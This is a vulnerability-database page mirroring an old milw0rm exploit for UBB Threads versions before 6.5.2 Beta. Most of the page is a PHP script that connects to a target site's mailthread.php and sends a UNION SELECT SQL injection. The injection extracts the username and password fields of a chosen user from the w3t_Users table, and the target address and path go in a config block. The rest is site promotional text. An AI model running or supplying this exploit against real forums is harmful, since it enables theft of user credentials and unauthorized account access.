Lucene search
K

UBB Threads < 6.5.2 Beta (mailthread.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

UBB Threads < 6.5.2 Beta SQL Injection Exploi

Code

                                                &#60;?php
#############################################################################
#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   UBBCentral SQL Injection
#
# Exploit By :  MH_p0rtal
#
# Discovered By: James Bercegay
#############################################################################
#  Gr33tz To ==&#62;   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = &#34;http:///www.example.com&#34;;
# please replace your dir address :
$dirs = &#34;/dir/to/ubbt/&#34;;
# __________End Config
#############################################################################
$aa = strlen ( $dirs );
$ab = $aa - 1;
$ac = 0;
if ((  $dirs[$ab] == &#34;/&#34; )  &&  ( $dirs[$ac] == &#34;/&#34; ))   {
$merg = $dirs.mailthread.php;
$fc = fsockopen(&#34;$url&#34;, 80, $errno, $errstr, 30);
if (!$fc) {

echo &#34;Can&#39;t Connect\n&#34;;
} else {
   $mh = &#34;GET $merg?Cat=0&Board=UBB2&Number=-99&#39;%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20&#39;victim&#39;/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n&#34;;
   $mh .= &#34;Host: $url\r\n&#34;;
   $mh .= &#34;Connection: Close\r\n\r\n&#34;;

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
} else {
echo &#34; Your pattern doesn&#39;t equal with Exploit directory pattern &#34;;
}
?&#62;

# milw0rm.com [2005-06-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20